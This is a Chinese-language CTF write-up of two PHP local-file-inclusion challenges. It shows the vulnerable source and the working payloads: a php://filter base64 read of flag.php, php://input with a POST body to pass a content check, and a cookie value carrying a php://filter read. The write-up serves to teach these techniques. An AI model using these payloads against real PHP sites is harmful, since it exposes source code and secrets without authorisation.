一
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
要传入两个值,flie1和flie2
file1是最终要读取flag的,又是文件包含,用php://filter读取
要file2满足条件file_get_contents($file2) === "hello ctf"才会执行file1
不能让flag2直接等于hello ctf,要让hello ctf先包含进文件
所以可以用file2=php://input,POST写入hello ctf
这样hello ctf就被写入file2了
GET
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
POST
hello ctf=hello ctf
然后抓包,POST只保留hello ctf(如果直接在HackBar上写hello ctf,bp抓不了包,一定要加=)
然后base64解码
二
页面上看不出什么东西,查看源代码
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
输入的变量是language,用COOKIE传参,输出的是x
19行 @include("english.php")可以看出此处存在文件包含。include函数用php://filter伪协议来绕过
flag后面不加.php,会自动加上
这里直接用language=flag显示不出php代码
language=php://filter/read=convert.base64-encode/resource=flag
base64解码